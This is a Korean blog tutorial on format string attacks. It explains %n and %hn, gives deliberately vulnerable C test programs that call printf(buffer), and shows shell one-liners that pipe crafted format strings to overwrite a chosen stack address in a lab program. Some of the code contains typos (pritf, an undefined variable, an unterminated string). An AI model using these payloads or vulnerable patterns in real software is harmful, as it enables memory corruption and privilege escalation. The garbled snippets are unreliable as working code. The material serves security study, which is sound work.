포맷 스트링 공격은 데이터의 형태와 길이에 대한 불명확한 정의로 인한 문제점 중 '데이터 형태에 대한 불명확한 정의'로 인한 것으로, 포맷 스트링을 이용하여 버퍼 오버플로우와 같이 메모리에 셸을 띄워 놓고, ret 값을 변조하여 관리자 권한을 획득하는 것이다. 결국 포맷 스트링과 버퍼 오버플로우는 함수 실행시 ret 값을 변조하는 방법만 다를 뿐 기본 개념은 같다고 볼 수 있다.
포맷 스트링 공격은 데이터 형태나 길이가 명확하게 정의되어있지 않아서 생기는 문제점이다. 예를 들어
char *buffer = "wishfree\n%x\n";
print(buffer)
라고 한다면 wishfree가 저장된 이후 메모리에 존재하는 값까지 나타내어지게 된다.
즉, esp가 위치한 메모리 값을 읽어드린다. 이러한 포맷스트링을 이용해 ret값을 변조하고 관리자 권한까지 획득할 수 있다. 결국 BoF와 기본 개념은 같지만 ret 값을 어떻게 변조하는지의 방법만 다르다.
%n : int*(총 비트 수). 문자가 출력되기 시작해서 "%n" 이 나오는 시점까지의 출력해야 할 문자들의 개수를 세어 주어진 변수에 저장하는 역할을 한다. 포맷 스트링 공격에 이용된다.
test5.c
%d 사이에 10진수를 넣어서 i 주소값에 원하는 16진수 HEX값을 주입시키는 기본 예제다.
#include<stdio.h>
main(){
int c =1234, i = 0;
pritf("Address of i :%x\n", &i);
printf("Value of i : %x\n", i);
printf("%12345d%n\n", d , &i);
printf("Changed value of i %x\", i);
}
>>
Address of I : bffffb60
Value of i : 0
~ 중략 ~
1234
Changed value of i : 3039
%d 사이에 숫자는 출력할 때 그 숫자만큼의 빈 공간을 띄어놓고 그 안에 d값을 우측정렬하는 표현이다.
그러면 d값은 12345 만큼의 공간에 1234가 출력되는 것이다.
%n는 그 앞까지의 출력된 문자 길이를 &i 안에 저장하는 것이다. 즉 12345를 i의 주소 안에 넣는데 16진수 HEX값으로 넣게 된다.
12345의 HEX값은 3039 이므로 &i 값에는 3039가 들어가게 된다.
디버깅을 통해 i의 주소 위치에 3039가 주입된 것을 볼 수 있다.
test6.c
이제 버퍼 오버플로우를 시켜 원하는 메모리 위치에 값을 주입시키는 과정을 알아보기 위한 test예제다.
#include <stdio.h>
#include "dumpcode.h" main() {
char buffer[64];
fgets(buffer, 63, stdin);
printf(buffer);
dumpcode((char *)buffer, 96);
}
dumpcode.h
프로그램 실행시 메모리의 내용을 조회 가능한 파일이다.
void printchar(unsigned char c)
{
if(isprint(c))
printf("%c",c);
else
printf(".");
}
void dumpcode(unsigned char *buff, int len)
{
int i;
for(i=0; i<len; i++)
{
if(i%16==0)
printf("0x%08x ",&buff[i]);
printf("%02x ",buff[i]);
if(i%16-15==0)
{
int j;
printf(" ");
for(j=i-15;j<=i;j++)
printchar(buff[j]);
printf("\n");
}
}
if(i%16!=0)
{
int j;
int spaces=(len-i+16-i%16)*3+2;
for(j=0;j<spaces;j++)
printf(" ");
for(j=i-i%16;j<len;j++)
printchar(buff[j]);
}
printf("\n");
}
우선 printf() 에서 format string이후에 해당하는 인자가 없다면 stack에서 print()가 호출된 시점에서 stack top위치의 내용 부터 순서대로 인자로 여긴다.
(printf "\x41\x41\x41\x41\x78\xfb\xff\xbf%%c%%n"; cat) | ./test6
이렇게 pipe(|)를 이용해 buffer안에 이와 같은 값을 넣는다면, %n의 인자는 \x78\xfb\xff\xbf에 대응하므로 0xbffffb78 주소에 %n이전까지 나온 문자 개수를 넣는다. 여기서 처음부터 xbf까지 8개와 %c 를 세어 총 9가 되는데 이를 0xbffffb78 주소에 넣게 된다.
특정 값 주입
그래서 여기에 18013196 이라는 숫자를 넣어보자.
0x18013196이 나와야 하는데, 이는 10진수로 402731414 이다.
하지만 x86시스템에서는 이런 큰 수는 cpu에서 바로 인식 할 수 없기 때문에 2바이트씩 나눠 입력해야한다. 그래서 %hn을 써야한다.
1801의 십진수인 6145만큼 넣게 된다면
리틀앤디안 방식으로 메모리에 거꾸로 적재되기 때문에 0x0118 의 값을 10진수로 바꿔줘야 한다. 즉 118의 10진수는 280이므로, 앞의 8자리 숫자를 제외한 나머지 272를 넣으면..
성공적으로 0xbffffb78 값에 1801 순서로 넣을 수 있다.
이 방법으로 나머지 0x3196 을 거꾸로 넣어야 하므로 0x9631을 십진법으로 변환하면 38449이다. 이중 8개를 제외한 38441을 넣으면 되는데 이제는 0xbffffb78에서 8바이트 떨어진 곳에서 넣어야 하기 때문에 0xbffffb7a 주소값에 넣어주게 되면..
두 번째부터 3196을 출력할 수 있다. 이제 이 두개를 동시에 해야한다.
스택에 적재된 순서대로 대응하는 인자값을 설정해주기 위해서 8바트를 추가했다.
그럼 8이 증가한 16을 280에서 제외한 값인 264를 넣어주면 0xbffffb78 값에는 1801 의 HEX값이 들어가고, 38449에서 이 280을 제외한 38169를 넣어주면 0xbffffb7a부분부터 3196의 HEX값이 들어가 전체적으로 0x18013196 이라는 특정 숫자를 넣을 수 있었다.
이 방식대로 (printf "\x41\x41\x41\x41\x78\xfb\xff\xbf\x41\x41\x41\x41\x7a\xfb\xff\xbf%%264c%%hn%%38169c%%hn"; cat) | ./test6
를 실행해주면
이렇게 메모리 값을 특정 주소값으로 변조할 수 있다.
'시스템해킹' 카테고리의 다른 글
취약점 자동 분석 및 공격 0x2 취약점 스캐닝 (0) | 2023.11.29 |
---|---|
취약점 자동 분석 및 공격 0x1 환경 세팅 (0) | 2023.11.29 |
Return-To-Libc (RTL) 공격 (2) | 2023.11.26 |
Heap BufferOverFlow 공격 (0) | 2023.11.26 |
Stack BufferOverFlow 공격 (0) | 2023.11.26 |
IT/보안